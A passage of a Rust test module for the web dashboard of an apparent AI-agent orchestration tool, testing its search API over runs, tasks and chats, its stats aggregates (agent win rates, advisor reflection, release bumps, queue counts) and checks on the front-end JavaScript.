18683            .expect("an array")
18684            .iter()
18685            .map(|r| r["id"].as_str().expect("an id"))
18686            .collect();
18687        assert_eq!(
18688            ids,
18689            vec!["20260902-140501-good"],
18690            "one unreadable run must not cost the operator the whole history"
18691        );
18692        assert_eq!(detail.status, 500);
18693        assert!(
18694            detail.json()["error"]
18695                .as_str()
18696                .is_some_and(|e| e.contains("run.json")),
18697            "the failure names the file to look at: {}",
18698            detail.body
18699        );
18700        // A skipped run has to be countable somewhere, or the UI shows an
18701        // empty history with nothing to explain it - which is exactly what a
18702        // directory full of older-schema runs looks like.
18703        let health = f.get("/api/health").await;
18704        assert_eq!(health.json()["runs_unreadable"], 1);
18705    }
18706
18707    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18708    #[tokio::test]
18709    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18710        let f = Fixture::start().await;
18711        let runs = f.runs();
18712        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18713        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18714        // Text three levels down, in a shape no current RunState has: an older
18715        // schema must still search.
18716        let path = runs.join("20260902-140502-bbbb").join("run.json");
18717        let mut v: serde_json::Value =
18718            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18719        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18720        std::fs::write(&path, v.to_string()).unwrap();
18721        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18722        std::fs::write(
18723            runs.join("20260902-140503-cccc").join("run.json"),
18724            "{ not json",
18725        )
18726        .unwrap();
18727
18728        let res = f.get("/api/search?scope=runs&q=quokka").await;
18729        assert_eq!(res.status, 200, "{}", res.body);
18730        let v = res.json();
18731        assert_eq!(v["total"], 1, "{v}");
18732        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18733        assert_eq!(v["hits"][0]["field"], "text");
18734        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18735        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18736        assert!(
18737            parts
18738                .iter()
18739                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18740            "{v}"
18741        );
18742        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18743        assert_eq!(
18744            flat, "The Quokka leaks across threads",
18745            "whitespace is collapsed"
18746        );
18747
18748        // Terms are ANDed, across different fields, case-insensitively.
18749        let both = f
18750            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18751            .await
18752            .json();
18753        assert_eq!(both["total"], 1, "{both}");
18754        let neither = f
18755            .get("/api/search?scope=runs&q=quokka%20zebra")
18756            .await
18757            .json();
18758        assert_eq!(neither["total"], 0, "{neither}");
18759        // Everything in the task statement is reachable, not only the row text.
18760        let stmt = f
18761            .get("/api/search?scope=runs&q=mobile%20first")
18762            .await
18763            .json();
18764        assert_eq!(stmt["total"], 2, "{stmt}");
18765        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18766        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18767    }
18768
18769    #[test]
18770    fn snippet_ignores_terms_longer_than_the_field() {
18771        let terms = ["ok".to_owned(), "elephant".to_owned()];
18772        let parts = snippet_of("ok", &terms);
18773        assert_eq!(
18774            parts,
18775            vec![SnippetPart {
18776                text: "ok".to_owned(),
18777                hit: true
18778            }]
18779        );
18780    }
18781
18782    #[test]
18783    fn snippet_marks_matches_longer_than_the_window() {
18784        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18785        let hit_len = |parts: &[SnippetPart]| -> usize {
18786            parts
18787                .iter()
18788                .filter(|p| p.hit)
18789                .map(|p| p.text.chars().count())
18790                .sum()
18791        };
18792        let total =
18793            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18794
18795        let long = "a".repeat(120);
18796        let parts = snippet_of(&long, std::slice::from_ref(&long));
18797        assert!(hit_len(&parts) > 0, "{parts:?}");
18798        assert!(total(&parts) <= cap);
18799
18800        let ja = "あ".repeat(130);
18801        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18802        assert!(hit_len(&parts) > 0, "{parts:?}");
18803        assert!(total(&parts) <= cap);
18804
18805        // A short hit, then one straddling the window's end.
18806        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18807        let term = format!("ab{}", "c".repeat(100));
18808        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18809        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18810        assert!(total(&parts) <= cap);
18811
18812        // Only the head matches: not highlighted.
18813        let text = format!("{}z", "a".repeat(119));
18814        let parts = snippet_of(&text, &["a".repeat(120)]);
18815        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18816    }
18817
18818    #[tokio::test]
18819    async fn search_caps_hits_and_snippet_length() {
18820        let f = Fixture::start().await;
18821        let runs = f.runs();
18822        for n in 0..(SEARCH_MAX_HITS + 5) {
18823            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18824        }
18825        let v = f.get("/api/search?scope=runs&q=web").await.json();
18826        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18827        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18828        assert_eq!(v["truncated"], true);
18829        // Every listed run hit carries its list row for the page's filters.
18830        assert!(
18831            v["hits"]
18832                .as_array()
18833                .unwrap()
18834                .iter()
18835                .all(|h| h["run"]["status"] == "merged")
18836        );
18837
18838        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18839        let parts = snippet_of(&long, &["needle".to_owned()]);
18840        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18841        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18842        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18843    }
18844
18845    #[tokio::test]
18846    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18847        let f = Fixture::start().await;
18848        let queue = f.queue();
18849        let mut t = Task::new(
18850            "short title".to_owned(),
18851            "line one\nthe hidden Armadillo detail".to_owned(),
18852            PathBuf::from("/repo/magi"),
18853            Source::Agent {
18854                run: "r1".to_owned(),
18855                node: "chat".to_owned(),
18856            },
18857        );
18858        t.last_error = Some("disk full on /tmp".to_owned());
18859        queue.put(&mut t).expect("file the task");
18860
18861        for (q, want) in [
18862            ("armadillo", 1),
18863            ("disk%20FULL", 1),
18864            ("chat", 1),
18865            ("queued", 1),
18866            ("short%20nothing", 0),
18867        ] {
18868            let v = f
18869                .get(&format!("/api/search?scope=tasks&q={q}"))
18870                .await
18871                .json();
18872            assert_eq!(v["total"], want, "{q}: {v}");
18873        }
18874        for bad in [
18875            "/api/search?scope=tasks&q=",
18876            "/api/search?scope=tasks&q=%20",
18877            "/api/search?scope=chats&q=",
18878            "/api/search?scope=chats&q=%20",
18879            "/api/search?scope=nope&q=a",
18880            "/api/search?q=a",
18881        ] {
18882            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18883        }
18884    }
18885
18886    /// Write one conversation file the way the store reads it back.
18887    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18888        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18889            .expect("seat value");
18890        let turns: Vec<serde_json::Value> = turns
18891            .iter()
18892            .map(|(who, body)| {
18893                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18894            })
18895            .collect();
18896        let doc = serde_json::json!({
18897            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18898            "status": status, "turns": turns,
18899            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18900            "seat": seat,
18901        });
18902        let dir = f.home.path().join("talks");
18903        std::fs::create_dir_all(&dir).expect("talks dir");
18904        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18905    }
18906
18907    #[test]
18908    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18909        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18910            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18911            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18912            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18913            "seat": crate::agent::SeatState::new("talk", "test", 1)
18914        })).unwrap();
18915        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18916        talk.title = Some(talk::ChatTitle {
18917            text: "最近の話題".into(),
18918            source: talk::TitleSource::Generated,
18919        });
18920        let doc = talk_search_doc(&talk);
18921        assert_eq!(doc["title"], "最近の話題");
18922        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18923        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18924        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18925    }
18926
18927    #[tokio::test]
18928    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18929        let f = Fixture::start().await;
18930        write_talk(
18931            &f,
18932            "20260901-000001-aaaa",
18933            "open",
18934            &[
18935                (
18936                    "operator",
18937                    "\n  Why does the Pangolin cache expire?\nsecond line",
18938                ),
18939                ("agent", "Because the TTL is thirty seconds."),
18940            ],
18941        );
18942        write_talk(
18943            &f,
18944            "20260901-000002-bbbb",
18945            "closed",
18946            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18947        );
18948        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18949
18950        let search = |q: &'static str| {
18951            let f = &f;
18952            async move {
18953                f.get(&format!("/api/search?scope=chats&q={q}"))
18954                    .await
18955                    .json()
18956            }
18957        };
18958
18959        let v = search("PANGOLIN").await;
18960        assert_eq!(v["scope"], "chats");
18961        assert_eq!(v["total"], 1, "{v}");
18962        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18963        assert_eq!(v["hits"][0]["field"], "title");
18964        assert_eq!(v["unreadable"], 1, "{v}");
18965        let marked: Vec<&str> = v["hits"][0]["snippet"]
18966            .as_array()
18967            .unwrap()
18968            .iter()
18969            .filter(|p| p["hit"] == true)
18970            .map(|p| p["text"].as_str().unwrap())
18971            .collect();
18972        assert_eq!(marked, ["Pangolin"]);
18973
18974        // An agent turn, in a closed conversation.
18975        let v = search("zebra").await;
18976        assert_eq!(v["total"], 1, "{v}");
18977        assert_eq!(v["hits"][0]["field"], "agent");
18978        // Words may sit in different turns; all must be present.
18979        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18980        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18981        // Bookkeeping is not searched.
18982        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18983            assert_eq!(search(q).await["total"], 0, "{q}");
18984        }
18985        // The first line only is the title; the second line is still a turn.
18986        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18987        // Open conversations are listed before closed ones.
18988        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18989
18990        let v = f.get("/api/search?scope=nope&q=a").await;
18991        assert_eq!(v.status, 400);
18992        assert!(
18993            v.body.contains("scope must be runs, tasks or chats"),
18994            "{}",
18995            v.body
18996        );
18997    }
18998
18999    #[test]
19000    fn a_question_card_links_a_task_id_to_the_task_page() {
19001        let start = APP_JS
19002            .find("function updateAskCard(")
19003            .expect("updateAskCard exists");
19004        let body = &APP_JS[start..];
19005        let body = &body[..body.find("\n}\n").expect("function end")];
19006        assert!(body.contains("question.run_is_task"));
19007        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19008        assert!(body.contains("`#/runs/${question.run}`"));
19009        assert!(body.contains("\"task\" : \"run\""));
19010    }
19011
19012    #[test]
19013    fn plain_text_message_surfaces_go_through_linkify() {
19014        assert!(APP_JS.contains("function linkify("));
19015        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19016        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19017        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19018        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19019        assert!(!APP_JS.contains("innerHTML = text"));
19020    }
19021
19022    #[test]
19023    fn implementation_rate_views_keep_independent_samples() {
19024        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19025            let a = stats::AgentStats {
19026                competitive_entered: competitive_n,
19027                competitive_wins: usize::from(competitive_n > 0),
19028                solo_entered: solo_n,
19029                solo_adopted: 2 * usize::from(solo_n > 0),
19030                ..Default::default()
19031            };
19032            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19033            for (key, n, numerator) in [
19034                ("competitive_win_rate", competitive_n, a.competitive_wins),
19035                ("solo_adoption_rate", solo_n, a.solo_adopted),
19036            ] {
19037                if n == 0 {
19038                    assert!(v[key].is_null());
19039                } else {
19040                    assert_eq!(v[key]["denominator"], n);
19041                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19042                }
19043            }
19044        }
19045        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19046        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19047        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19048        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19049    }
19050
19051    #[test]
19052    fn stats_bars_share_one_id_keyed_plan() {
19053        let start = APP_JS
19054            .find("function statsBarRows(")
19055            .expect("statsBarRows exists");
19056        let body = &APP_JS[start..];
19057        let body = &body[..body.find("\n}\n").expect("function end")];
19058        assert!(body.contains("statsBarPlan(rows)"));
19059        assert!(body.contains("statsAgentTone(row.agent)"));
19060        assert!(!body.contains("candTone(i)"));
19061        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19062        for root in [
19063            "stats-agents-bars",
19064            "stats-solo-bars",
19065            "stats-reviewers-bars",
19066        ] {
19067            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19068        }
19069    }
19070
19071    #[test]
19072    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19073        let start = APP_JS
19074            .find("function renderStatsReviewerScatter(")
19075            .expect("renderStatsReviewerScatter exists");
19076        let body = &APP_JS[start..];
19077        let body = &body[..body.find("\n}\n").expect("function end")];
19078        assert!(body.contains("statsScatterPlan(reviewers)"));
19079        assert!(body.contains("statsAgentTone(d.agent)"));
19080        assert!(APP_JS.contains("function statsScatterPlan("));
19081        assert!(
19082            APP_JS.contains("d.submitted < STATS_LOW_N")
19083                || APP_JS.contains("r.submitted < STATS_LOW_N")
19084        );
19085        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19086        assert!(APP_CSS.contains(".precision-scatter"));
19087    }
19088
19089    #[test]
19090    fn advisor_reflection_is_drawn_as_stacked_segments() {
19091        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19092        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19093        let html = include_str!("../assets/ui/index.html");
19094        assert!(html.contains("Approximate"));
19095        for label in ["reflected strongly", "faint", "no proposal"] {
19096            assert!(html.contains(label));
19097        }
19098        let css = include_str!("../assets/ui/app.css");
19099        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19100            assert!(css.contains(&format!(".{c} {{")));
19101        }
19102    }
19103
19104    #[test]
19105    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19106        assert!(APP_JS.contains("function statsDailyPlan("));
19107        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19108        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19109    }
19110
19111    #[test]
19112    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19113        let start = APP_JS
19114            .find("function scheduleSearch(")
19115            .expect("scheduleSearch exists");
19116        let body = &APP_JS[start..];
19117        let body = &body[..body.find("\n}\n").expect("function end")];
19118        assert!(body.contains("s.seq += 1"));
19119    }
19120
19121    /// The dashboard reads every run's state itself rather than trusting a
19122    /// separately-maintained count, so an unreadable run must be counted the
19123    /// same way `/api/health` counts it - never silently dropped the way the
19124    /// CLI's own `stats::load_all` drops it.
19125    #[tokio::test]
19126    async fn stats_runs_unreadable_matches_health() {
19127        let f = Fixture::start().await;
19128        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19129        let broken = f.runs().join("20260902-140502-bad");
19130        std::fs::create_dir_all(&broken).expect("run dir");
19131        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19132
19133        let stats = f.get("/api/stats").await;
19134        let health = f.get("/api/health").await;
19135
19136        assert_eq!(stats.status, 200);
19137        assert_eq!(stats.json()["totals"]["runs"], 1);
19138        assert_eq!(stats.json()["runs_unreadable"], 1);
19139        assert_eq!(
19140            stats.json()["runs_unreadable"],
19141            health.json()["runs_unreadable"],
19142            "the dashboard and /api/health must never disagree about how many \
19143             runs could not be read"
19144        );
19145    }
19146
19147    #[tokio::test]
19148    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19149        let f = Fixture::start().await;
19150        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19151        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19152        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19153
19154        let totals = &f.get("/api/stats").await.json()["totals"];
19155        assert_eq!(totals["runs"], 3);
19156        assert_eq!(totals["merged"], 1);
19157        assert_eq!(totals["stalled"], 1);
19158        assert_eq!(totals["in_progress"], 1);
19159        // A stalled run must never read as blocked/merged/ready - it is its
19160        // own bucket, not folded into a "decided" one.
19161        assert_eq!(totals["blocked"], 0);
19162        assert_eq!(totals["ready"], 0);
19163    }
19164
19165    #[tokio::test]
19166    async fn stats_advisors_report_proposals_and_reflection() {
19167        use crate::advise::{Advice, AdvisorRecord, Reflection};
19168        use crate::verdict::Proposal;
19169
19170        let f = Fixture::start().await;
19171        let mut state = RunState::new(
19172            PathBuf::from("/repo/magi"),
19173            "main".to_owned(),
19174            "0123456789abcdef".to_owned(),
19175            "task".to_owned(),
19176            Config::default(),
19177        );
19178        state.id = "20260902-140501-a".to_owned();
19179        state.status = RunStatus::Merged;
19180        state.advice = Some(Advice {
19181            records: vec![
19182                AdvisorRecord {
19183                    seat: "advisor-1".to_owned(),
19184                    agent: "alpha".to_owned(),
19185                    proposal: Some(Proposal {
19186                        approach: "do it".to_owned(),
19187                        key_tradeoff: "speed over memory".to_owned(),
19188                        risks: Vec::new(),
19189                        touches: Vec::new(),
19190                        why_not_naive: "breaks under load".to_owned(),
19191                    }),
19192                    error: None,
19193                    duration_ms: 0,
19194                    reflection: Reflection::Strong,
19195                },
19196                AdvisorRecord {
19197                    seat: "advisor-2".to_owned(),
19198                    agent: "alpha".to_owned(),
19199                    proposal: None,
19200                    error: Some("timed out".to_owned()),
19201                    duration_ms: 0,
19202                    reflection: Reflection::Absent,
19203                },
19204            ],
19205            synthesis: Some("blended brief".to_owned()),
19206        });
19207        let dir = f.runs().join(&state.id);
19208        std::fs::create_dir_all(&dir).expect("run dir");
19209        std::fs::write(
19210            dir.join("run.json"),
19211            serde_json::to_string_pretty(&state).expect("serialize run"),
19212        )
19213        .expect("write run.json");
19214
19215        // `alpha` is in no roster here; this test is about the rates.
19216        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19217        let alpha = advisors
19218            .as_array()
19219            .expect("an array")
19220            .iter()
19221            .find(|a| a["agent"] == "alpha")
19222            .expect("alpha row");
19223        assert_eq!(alpha["seated"], 2);
19224        assert_eq!(alpha["proposed"], 1);
19225        assert_eq!(alpha["absent"], 1);
19226        assert_eq!(alpha["strong"], 1);
19227        assert_eq!(alpha["faint"], 0);
19228        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19229    }
19230
19231    #[tokio::test]
19232    async fn stats_hides_agents_outside_the_roster_unless_all() {
19233        use crate::run::Candidate;
19234        let repo = TempDir::new().expect("repo dir");
19235        std::fs::write(
19236            repo.path().join("magi.toml"),
19237            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19238        )
19239        .expect("magi.toml");
19240        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19241        let mut state = RunState::new(
19242            PathBuf::from("/repo/magi"),
19243            "main".to_owned(),
19244            "0123456789abcdef".to_owned(),
19245            "task".to_owned(),
19246            Config::default(),
19247        );
19248        state.id = "20260902-140501-a".to_owned();
19249        state.status = RunStatus::Merged;
19250        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19251            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19252                "index": 0, "label": label.to_string(), "agent": agent,
19253                "branch": "b", "worktree": "/w",
19254            }))
19255            .expect("candidate");
19256            c.label = label;
19257            state.candidates.push(c);
19258        }
19259        let dir = f.runs().join(&state.id);
19260        std::fs::create_dir_all(&dir).expect("run dir");
19261        std::fs::write(
19262            dir.join("run.json"),
19263            serde_json::to_string_pretty(&state).expect("serialize run"),
19264        )
19265        .expect("write run.json");
19266
19267        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19268            v["agents"]
19269                .as_array()
19270                .expect("array")
19271                .iter()
19272                .map(|a| a["agent"].as_str().unwrap().to_owned())
19273                .collect()
19274        };
19275        let hidden = f.get("/api/stats").await.json();
19276        assert_eq!(agents_of(&hidden), ["keep"]);
19277        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19278        assert_eq!(hidden["totals"]["runs"], 1);
19279
19280        let all = f.get("/api/stats?all=true").await.json();
19281        assert_eq!(agents_of(&all).len(), 2);
19282        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19283        // Verify competitive and solo keys exist on agent entries
19284        let keep_agent = all["agents"]
19285            .as_array()
19286            .unwrap()
19287            .iter()
19288            .find(|a| a["agent"] == "keep")
19289            .unwrap();
19290        assert_eq!(keep_agent["competitive_entered"], 1);
19291        assert_eq!(keep_agent["competitive_wins"], 0);
19292        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19293        assert_eq!(keep_agent["solo_entered"], 0);
19294        assert_eq!(keep_agent["solo_adopted"], 0);
19295        assert!(keep_agent["solo_adoption_rate"].is_null());
19296    }
19297
19298    #[tokio::test]
19299    async fn stats_release_bumps_split_clean_from_attention() {
19300        use crate::run::ReleaseBump;
19301
19302        let f = Fixture::start().await;
19303
19304        let mut clean = RunState::new(
19305            PathBuf::from("/repo/magi"),
19306            "main".to_owned(),
19307            "0123456789abcdef".to_owned(),
19308            "task".to_owned(),
19309            Config::default(),
19310        );
19311        clean.id = "20260902-140501-a".to_owned();
19312        clean.status = RunStatus::Merged;
19313        clean.release_bump = Some(ReleaseBump {
19314            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19315            version: Some("1.0.0".to_owned()),
19316            automerge_enabled: true,
19317            merged_directly: false,
19318            local: false,
19319            release: None,
19320            problem: None,
19321            action_required: None,
19322            skipped: None,
19323        });
19324
19325        let mut blocked = RunState::new(
19326            PathBuf::from("/repo/magi"),
19327            "main".to_owned(),
19328            "0123456789abcdef".to_owned(),
19329            "task".to_owned(),
19330            Config::default(),
19331        );
19332        blocked.id = "20260902-140502-b".to_owned();
19333        blocked.status = RunStatus::Merged;
19334        blocked.release_bump = Some(ReleaseBump {
19335            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19336            version: Some("1.0.1".to_owned()),
19337            automerge_enabled: false,
19338            merged_directly: false,
19339            local: false,
19340            release: None,
19341            problem: Some("checks red".to_owned()),
19342            action_required: Some("look at the PR".to_owned()),
19343            skipped: None,
19344        });
19345
19346        for state in [&clean, &blocked] {
19347            let dir = f.runs().join(&state.id);
19348            std::fs::create_dir_all(&dir).expect("run dir");
19349            std::fs::write(
19350                dir.join("run.json"),
19351                serde_json::to_string_pretty(state).expect("serialize run"),
19352            )
19353            .expect("write run.json");
19354        }
19355
19356        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19357        assert_eq!(bumps["merged"], 2);
19358        assert_eq!(bumps["recorded"], 2);
19359        assert_eq!(bumps["pr_opened"], 2);
19360        assert_eq!(bumps["automerge_enabled"], 1);
19361        assert_eq!(bumps["needs_attention"], 1);
19362        assert_eq!(bumps["clean"], 1);
19363        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19364        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19365    }
19366
19367    #[tokio::test]
19368    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19369        let f = Fixture::start().await;
19370        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19371
19372        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19373        assert_eq!(bumps["merged"], 1);
19374        assert_eq!(bumps["recorded"], 0);
19375        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19376        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19377        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19378        // `pr_opened` and `recorded` are both zero here, so these rates have
19379        // no denominator to compute from and must be null.
19380        assert_eq!(bumps["automerge_rate"], Value::Null);
19381        assert_eq!(bumps["attention_rate"], Value::Null);
19382    }
19383
19384    #[tokio::test]
19385    async fn stats_queue_counts_come_from_the_live_queue() {
19386        let f = Fixture::start().await;
19387        let q = f.queue();
19388        let mut queued = Task::new(
19389            "queued task".to_owned(),
19390            "do it".to_owned(),
19391            PathBuf::from("/repo"),
19392            Source::Human,
19393        );
19394        q.put(&mut queued).expect("put queued");
19395        let mut held = Task::new(
19396            "held task".to_owned(),
19397            "do it later".to_owned(),
19398            PathBuf::from("/repo"),
19399            Source::Human,
19400        );
19401        held.hold_machine(Some("out of attempts".to_owned()));
19402        q.put(&mut held).expect("put held");
19403
19404        let queue = f.get("/api/stats").await.json()["queue"].clone();
19405        assert_eq!(queue["queued"], 1);
19406        assert_eq!(queue["held"], 1);
19407        assert_eq!(queue["running"], 0);
19408        assert_eq!(queue["done"], 0);
19409        assert_eq!(queue["failed"], 0);
19410        assert_eq!(queue["blocked"], 0);
19411    }
19412
19413    #[tokio::test]
19414    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19415        let f = Fixture::start().await;
19416        let stats = f.get("/api/stats").await;
19417        assert_eq!(stats.status, 200);
19418        assert_eq!(stats.json()["totals"]["runs"], 0);
19419        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19420        assert_eq!(stats.json()["runs_unreadable"], 0);
19421        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19422        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19423        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19424        assert_eq!(stats.json()["repo"], Value::Null);
19425    }
19426
19427    #[tokio::test]
19428    async fn stats_lists_every_repository_with_runs_recorded() {
19429        let f = Fixture::start().await;
19430        write_run_repo(
19431            &f.runs(),
19432            "20260902-140501-a",
19433            RunStatus::Merged,
19434            "/repos/a",
19435        );
19436        write_run_repo(
19437            &f.runs(),
19438            "20260902-140502-b",
19439            RunStatus::Merged,
19440            "/repos/a",
19441        );
19442        write_run_repo(
19443            &f.runs(),
19444            "20260902-140503-c",
19445            RunStatus::Blocked,
19446            "/repos/b",
19447        );
19448
19449        let stats = f.get("/api/stats").await;
19450        assert_eq!(stats.status, 200);
19451        // Unfiltered - the aggregate across both repositories.
19452        assert_eq!(stats.json()["totals"]["runs"], 3);
19453        assert_eq!(stats.json()["repo"], Value::Null);
19454
19455        let repos = stats.json()["repos"].clone();
19456        let repos = repos.as_array().unwrap();
19457        assert_eq!(repos.len(), 2);
19458        // Busiest (2 runs) first.
19459        assert_eq!(repos[0]["repo"], "/repos/a");
19460        assert_eq!(repos[0]["name"], "a");
19461        assert_eq!(repos[0]["runs"], 2);
19462        assert_eq!(repos[1]["repo"], "/repos/b");
19463        assert_eq!(repos[1]["runs"], 1);
19464    }
19465
19466    #[tokio::test]
19467    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19468        let f = Fixture::start().await;
19469        write_run_repo(
19470            &f.runs(),
19471            "20260902-140501-a",
19472            RunStatus::Merged,
19473            "/repos/a",
19474        );
19475        write_run_repo(
19476            &f.runs(),
19477            "20260902-140502-b",
19478            RunStatus::Blocked,
19479            "/repos/b",
19480        );
19481
19482        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19483        assert_eq!(stats.status, 200);
19484        assert_eq!(stats.json()["totals"]["runs"], 1);
19485        assert_eq!(stats.json()["totals"]["merged"], 1);
19486        assert_eq!(stats.json()["repo"], "/repos/a");
19487        // The repository list itself is unaffected by the filter - it is
19488        // what a client switches repositories from.
19489        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19490        // runs_unreadable is a whole-workload count, never scoped to the
19491        // selected repository - see StatsView::runs_unreadable's own doc.
19492        assert_eq!(stats.json()["runs_unreadable"], 0);
19493    }
19494
19495    #[tokio::test]
19496    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19497        let f = Fixture::start().await;
19498        write_run_repo(
19499            &f.runs(),
19500            "20260902-140501-a",
19501            RunStatus::Merged,
19502            "/repos/a",
19503        );
19504        write_run_repo(
19505            &f.runs(),
19506            "20260902-140502-b",
19507            RunStatus::Merged,
19508            "/repos/b",
19509        );
19510
19511        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19512            let json = f.get(uri).await.json();
19513            let daily = json["daily"].as_array().expect("daily is an array");
19514            assert_eq!(daily.len(), 30);
19515            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19516            let mut sorted = dates.clone();
19517            sorted.sort();
19518            assert_eq!(dates, sorted);
19519            for d in daily {
